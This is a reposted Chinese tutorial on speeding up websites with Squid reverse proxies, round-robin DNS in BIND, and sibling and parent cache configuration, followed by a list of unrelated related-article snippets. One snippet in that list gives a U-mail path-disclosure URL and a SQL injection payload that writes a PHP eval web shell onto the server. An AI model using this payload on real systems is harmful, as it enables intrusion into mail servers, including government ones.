利用 squid 反向代理提高网站性能

news/2024/5/15 12:14:19/文章来源:https://blog.csdn.net/weixin_34355559/article/details/86377715

本文在介绍 squid 反向代理的工作原理的基础上,指出反向代理技术在提高网站访问速度,增强网站可用性、安全性方面有很好的用途。作者在具体的实验环境下,利用 DNS 轮询和 Squid 反向代理技术,实现了网站的负载均衡,从而提高了网站的可用性和可靠性。

现在有许多大型的门户网站如 SINA 都采用 squid 反向代理技术来加速网站的访问速度,可将不同的 URL 请求分发到后台不同的 WEB 服务器上,同时互联网用户只能看到反向代理服务器的地址,加强了网站的访问安全。

反向代理的概念

反向代理服务器又称为 WEB 加速服务器,它位于 WEB 服务器的前端,充当 WEB 服

务器的内容缓存器。其系统结构如图 1


图 1. 系统结构
2011050410410734.jpg 

反向代理服务器是针对 WEB 服务器设置的,后台 WEB 服务器对互联网用户是透明的,用户只能看到反向代理服务器的地址,不清楚后台 WEB 服务器是如何组织架构的。当互联网用户请求 WEB 服务时,DNS 将请求的域名解析为反向代理服务器的 IP 地址,这样 URL 请求将被发送到反向代理服务器,由反向代理服务器负责处理用户的请求与应答、与后台 WEB 服务器交互。利用反向代理服务器减轻了后台 WEB 服务器的负载,提高了访问速度,同时避免了因用户直接与 WEB 服务器通信带来的安全隐患。

Squid 反向代理的实现原理

目前有许多反向代理软件,比较有名的有 Nginx 和 Squid 。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,是一个高性能的 HTTP 和反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。

Squid 是由美国政府大力资助的一项研究计划,其目的为解决网络带宽不足的问题,支持HTTP,HTTPS,FTP 等多种协议,是现在 Unix 系统上使用、最多功能也最完整的一套软体。下面将重点介绍 Squid 反向代理的实现原理和在提高网站性能方面的应用。

Squid反向代理服务器位于本地 WEB 服务器和 Internet 之间 , 组织架构如图 2:


图 2. 组织架构
2011050410412869.jpg 

客户端请求访问 WEB 服务时,DNS 将访问的域名解析为 Squid 反向代理服务器的 IP 地址,这样客户端的 URL 请求将被发送到反向代理服务器。如果 Squid 反向代理服务器中缓存了该请求的资源,则将该请求的资源直接返回给客户端,否则反向代理服务器将向后台的 WEB 服务器请求资源,然后将请求的应答返回给客户端,同时也将该应答缓存在本地,供下一个请求者使用。

Squid 反向代理一般只缓存可缓冲的数据(比如 html 网页和图片等),而一些 CGI 脚本程序或者 ASP、JSP 之类的动态程序默认不缓存。它根据从 WEB 服务器返回的 HTTP 头标记来缓冲静态页面。有四个最重要 HTTP 头标记:

  • Last-Modified: 告诉反向代理页面什么时间被修改
  • Expires: 告诉反向代理页面什么时间应该从缓冲区中删除
  • Cache-Control: 告诉反向代理页面是否应该被缓冲
  • Pragma: 用来包含实现特定的指令,最常用的是 Pragma:no-cache

利用 Squid 反向代理加速网站实例

本实例的域名是 wenjin.cache.ibm.com.cn,通过DNS的轮询技术,将客户端的请求分发给其中一台 Squid 反向代理服务器处理,如果这台 Squid 缓存了用户的请求资源,则将请求的资源直接返回给用户,否则这台 Squid 将没有缓存的请求根据配置的规则发送给邻居 Squid 和后台的 WEB 服务器处理,这样既减轻后台 WEB 服务器的负载,又提高整个网站的性能和安全性。该系统结构图 3 如下:


图 3. 系统结构
2011050410414691.jpg 

配置的系统环境:

  • 一台 DNS 服务器:操作系统 Freebsd,软件 BIND 9.5,IP 192.168.76.222 ;
  • 三台 Squid 服务器:操作系统 Linux AS 4,软件 Squid 3.0,相应的 IP 如下:
1 Squid1:192.168.76.223
2 Squid2:192.168.76.224
3 Squid3:192.168.76.225

  • 三台 WEB 服务器:操作系统 Linux AS 4,应用软件 Tomcat 5.0+Mysql,相应的 IP 地址如下:
1 webServer1:210.82.118.195
2 webServer2:192.168.76.226
3 webServer1:192.168.76.227

应用软件的安装和配置

配置 DNS 服务器

软件利用 Freebsd 自带的 bind 9.5 。然后针对该系统配置 bind,首先修改 bind 的配置文件 /etc/namedb/named.conf,在文件中添加

1 zone "cache.ibm.com.cn"{
2 type master;
3   file "master/ cache.ibm.com.cn ";
4   };

再在 /etc/namedb/master 目录下添加 cache.ibm.com.cn 文件,该文件的内容如下:

1 $TTL 3600
2 @ IN SOA search. ibm.com.cn. root. ibm.com.cn. (
3 20080807 ; Serial
4 3600 ; Refresh
5 900 ; Retry
6 3600000 ; Expire
7 3600 ) ; Minimum
8 IN NS search.ibm.com.cn.
9 1 IN PTR localhost.ibm.com.cn.
10 wenjin IN A 192.168.76.223
11 wenjin IN A 192.168.76.224
12 wenjin IN A 192.168.76.225

这样当用户请求的时候,DNS 通过轮询机制将 wenjin.cache.ibm.com.cn 的域名解析为 192.168.76.223、192.168.76.224 和 192.168.76.225 其中之一。

配置完成后,运行 rndc star t 启动 bind 服务。可在 /etc/rc.conf 中设置 named_enable="YES" 使得开机自启动。

用 ps – A |grep named 查看 bind 服务是否起来;

用 nslookup wenjin.cache.ibm.com.cn 测试 bind 服务是否正常运行。

配置 Squid1 服务器

  1. 下载 squid-3.0.STABLE8.tar.gz 源码包,将其放在 /home 目录下
  2. 解压缩tar – zxvf squid-3.0.STABLE8.tar.gz 
    设置配置参数:cd squid-3.0.STABLE10 
    ./configure – prefix=/usr/local/squid

    将 squid 安装在 /usr/local 目录下
  3. 编译安装:make&make install安装完以后会在 /usr/local 目录下看见 squid 目录。
  4. 配置 squid 配置文件

    编辑 squid.conf 文件,vi /usr/local/squid/etc/squid.conf

    cache_effective_user squid
    cache_effective_group squid
    ######### 设定 squid 的主机名 , 如无此项 squid 将无法启动
    visible_hostname squid1.nlc.gov.cn
    ############# 配置 squid 为加速模式 #################
    http_port
    80 accel vhost vport
    icp_port
    3130
    ##### 配置 squid2、squid3 为其邻居,当 squid1 在其缓存中没有找到请求的资源时,
    通过 ICP 查询去其邻居中取得缓存
    cache_peer squid2.ibm.com.cn sibling
    80 3130
    cache_peer squid3.ibm.com.cn sibling
    80 3130
    ##### squid1 的三个父节点,originserver 参数指明是源服务器,
    round-robin 参数指明 squid 通过轮询方式将请求分发到其中一台父节点;
    squid 同时会对这些父节点的健康状态进行检查,如果父节点 down 了,
    那么 squid 会从剩余的 origin 服务器中抓取数据
    cache_peer
    210.82.118.195 parent 8080 0 no-query originserver round-robin \
    name=webServer1
    cache_peer
    192.168.76.226 parent 8080 0 no-query originserver round-robin \
    name=webServer2
    cache_peer
    192.168.76.227 parent 8080 0 no-query originserver round-robin \
    name=webServer3
    #### 将 wenjin.cache.ibm.com.cn 域的请求通过 RR 轮询方式转发到三个父节点中的一个
    cache_peer_domain webServer1 webServer2 webServer3 wenjin.cache.ibm.com.cn
    ##### 下面是一些访问控制、日志和缓存目录的设置
    acl localnet src
    192.168.76.223 192.168.76.224 192.168.76.225
    acl all src
    0.0.0.0/0.0.0.0
    http_access allow all
    icp_access allow localnet
    cache_log /usr/local/squid/var/logs/cache.log
    access_log /usr/local/squid/var/logs/access.log squid
    cache_dir ufs /usr/local/squid/var/cache/
    1000 16 256
    ####### 对 squid 的一些优化 ###############
    maximum_object_size
    10240 KB ### 能缓存的最大对象为 10M
    maximum_object_size_in_memory
    512 KB ### 内存中缓存的最大对象 512K
    cache_mem
    256 MB ###squid 用于缓存的内存量

    保存后 :wq 退出。

    在 /etc/hosts 文件中添加

    192.168.76.223 squid1.ibm.com.cn
    192.168.76.224 squid2.ibm.com.cn
    192.168.76.225 squid3.ibm.com.cn

    保存后 : wq 退出。

    检查 squid 配置文件正确与否:/usr/local/squid/bin/squid – k parse

    生成缓存目录/usr/local/squid/bin/squid – z

    启动squid:/usr/local/squid/bin/squid

    配置 squid2 和 squid3 服务器

    squid2 和 squid3 服务器的配置方法和配置参数和 squid1 一样,配置完成后,分别启动这两个服务器上的 squid 服务。

    在 squid 的日志文件 cache.log 中,出现如下日志信息则说明三台 squid 之间成功配置为 sibling,且配置了三个父代理。

    2008/11/17 10:08:47| Configuring Sibling squid1.ibm.com.cn/80/3130
    2008/11/17 10:08:47| Configuring Sibling squid3.ibm.com.cn/80/3130
    2008/11/17 10:08:47| Configuring Parent 210.82.118.195/8080/0
    2008/11/17 10:08:47| Configuring Parent 192.168.76.226/8080/0
    2008/11/17 10:08:47| Configuring Parent 192.168.76.227/8080/0
    2008/11/17 10:08:47| Ready to serve requests.

测试

测试之前,保证 DNS 服务、三台 squid 服务和三台 web 服务都正常起来。在客户端输入http://wenjin.cache.ibm.com.cn,则正确的显示该网页。服务器端的响应对客户端是透明的,客户端不知道请求是由哪台 WEB 服务器处理的;而且其中某台 Squid 服务器或 WEB 服务器发生故障,也不影响服务的正常运行。

总结

Squid 是一个开源的软件,利用它的反向代理技术可以提高网站系统的访问速度。本文在真实的网络环境下,利用三台 squid 反向代理服务器加速了网站的性能,同时结合 DNS 轮询技术实现了网站的负载均衡。经过一段时间的测试和试运行,该网站的访问速度和可用性方面都有很大的提高,从未出现过网站服务中断情况。

转:http://www.ibm.com/developerworks/cn/linux/l-cn-squid/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_778647.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

我记录网站综合系统 -- 技术原理解析[9:HttpMethodChecker流程]

源代码位置:\Web\Mvc\Processors:HttpMethodChecker.cs Config -> wojilu.Web.Mvc.CoreHandler.ProcessRequest - > wojilu.Web.Mvc.CoreHandler.ProcessRequest: ProcessContext.Begin ->Ro…

介绍一个Android UI设计网站

为什么80%的码农都做不了架构师?>>> 十分有趣。“Ice Cream Sandwich (Android 4.0) 是我们目前为止最大的一次重新设计——对用户和开发者皆是如此。我们用新的交互和样式增强了UI框架,能让你创建比以往更加简单更加炫丽的Android 应用。为帮…

网站性能

【概述】 在这一章节,我们的主题聚焦在基础设施建设上。 Http Compression(压缩)Content Expirations (内容过期)Content Distribution Networks - CDN(内容分发网络)Etags (E标签)去掉没必要的Http header…

网站运维,运营经典的Firefox插件--助你提高工作效率

最近由于工作需要重新研究web的架构,及运营、运维相关技术。 谈到web-日常使用最多的软件工具之一就是网页浏览器,其中对Firefox情有独钟,因为它有着丰富的插件支持。 我来谈谈我个人的Firefox的几个提高工作效率的插件: 以下是我…

学用MVC4做网站二:用户组

用户组这块要实现的功能如下: 序 一、用户 二、用户组 2.1浏览用户组 2.2添加用户组 2.3修改用户组 2.4删除用户组 用户组类型应该有匿名,受限,正常,和特殊几种类型。 设计这些类型的目的是为了以后权限管理做准备,以后…

图标集锦:10套免费的社交媒体 社交网站图标

社交网络是最近几年互联网领域最热门的关键词之一,如今社会网络化媒体也成为我们信息获取和传播的重要途径,很多网站都有把内容分享到社交媒体的功能。 社交媒体图标作为向用户传递信息的重要媒介,不管是在网页还是 Web 应用程序中都非常需要…

探索 Windows Azure 网站中的自动伸缩功能

去年10月,我们发布了若干针对 WindowsAzure平台的更新,其中一项更新是添加了基于日期的自动伸缩调度支持(在不同的日期设置不同的规则)。 在这篇博客文章中,我们将了解自动伸缩的概念,并了解如…

提高网站并发性的解决方案

为什么80%的码农都做不了架构师?>>> 我在Cernet做过拨号接入平台的搭建,而后在Yahoo3721负载搜索引擎前端平台开发,又在猫扑处理过大型社区猫扑大杂烩的架构升级等工作,同时 自己接触和开发过不少大中型网站的模块&am…

自动浏览器_微软彻底埋葬IE浏览器:当网站不支持时自动打开Edge浏览器

1995年,8月16日,微软正式推出了Internet Explorer(IE)浏览器1.0版,作为Windows 95 Plus增强包的一个附加软件。Internet Explorer 1.0这是微软为了抵抗当时主流的网景浏览器(Netscape Navigator)而开发的自主网络浏览器。Windows 95 Plus25年…

竞拍网站服务器配置,GOM引擎新区竞拍脚本,GOM传奇服务端设置竞拍的方法和教程...

20190801221527.png (881.14 KB, 下载次数: 1)2019-8-1 22:19 上传[main]#if#actLOADVAR HUMAN 竞拍花费 ..QuestDiary数据文件竞拍花费.txt#say开区一小时内拍卖本服唯一**时装,只卖一件,之后再无机会获得!拍卖每次加价100灵符,竞拍失败后必须先领回灵符之后才能再次参与竞拍!…

burpsuite字典_Python攻防之弱口令、自定义字典生成及网站防护

这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Python网络攻防基础知识、Python多线程、C段扫描和数据库编程,本文将分享Python攻防…

没有找到站点_2020年排名前11位的静态网站生成器,有没有你用过的?

随着JAMstack及其社区的发展,静态站点生成器变得越来越流行。在本文中,让我们看一下2020年顶级的静态网站生成器!为什么选择静态网站生成器让我们快速讨论一下静态网站生成器的优点。速度静态站点生成器在构建时生成站点页面,而不…

mysql5.7 赋权_「赋权」mysql创建用户并赋权 - seo实验室

赋权新建一个数据库 ljwcreate database ljw;ain copyuse ljw;select * from user;效果如上图,最后用数据库软件,因为在linux下界面看不清效果,太乱了。从上图可以看到,会列出数据库所有的用户及权限2.创…

python抓取招聘数据_Python爬取招聘网站数据并做数据可视化处理

本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理。以下文章来源于青灯编程 ,作者:清风前言本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理。基本…

wordpress html页面缓存 cdn,wordpress博客使用CloudFlare的CDN来加速网站(页面规则缓存设置教程)...

wordpress博客使用CloudFlare的CDN来加速网站(页面规则缓存设置教程)此篇文章只讲wordpress站点使用CloudFlare CDN的页面规则教程。其他问题可在下方留言,我会一一回复CloudFlare的CDN有一个很好的特点就是可以整站缓存下来,但是整站缓存时我们是无法登…

二、大型网站架构模式

网站架构模式 分层 横向维度,每个部分负责单一的职责。上层对下层依赖和调用。 应用层,服务层和数据层 分割 网站越大,不同功能和服务分割出来形成高内聚低耦合模块单元。 分布式 分布式部署,即将不同模块部署在不同的服务器上&a…

CDN技术--分布式网站架构必备利器

概念 CDN这个概念相信大家都比较耳熟,到底什么是CDN呢? CDN,全称为Content Delivery Network,即内容分发网络。 其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳…

网站前端_JavaScript-基础入门.0008.JavaScript作用范围

基本类型值:说明: 基本类型变量主要在栈内存中保存变量名变量值,变量赋值时解析器如果认定此值为基本类型,则分配固定大小的空间,基本类型包括Undefined, Null, Boolean, Number, String的字面值对象,称为基本类型对象var name 李满满 // 在栈内存中复制一份"李满满"…

大部分政府网站U-mail存在直接拿shell漏洞

大部分网站政府网站U-mail存在直接拿shell漏洞加入webmail/userapply.php?execadd333&DomainID111直接爆出物理地址 然后将 aa union select 1,2,3,4,5,6,<?php eval($_POST1);?>,8,9,10,11,12,13,14 into outfile D:/umail/WorldClient/html/saknc.php#用base64编…

网站嵌入虚拟试衣间方案问题

网站嵌入虚拟试衣间方案问题 好买衣虚拟试衣间目前只接入天猫和淘宝的店铺&#xff0c;只有手机版&#xff0c;不考虑跟其他平台合作。 衣(Yi)没有虚拟试衣功能&#xff0c;PK明星衣品功能可以提供API&#xff0c;虚拟试衣及服饰推荐可以具体沟通后提供定制化的服务&#xff08…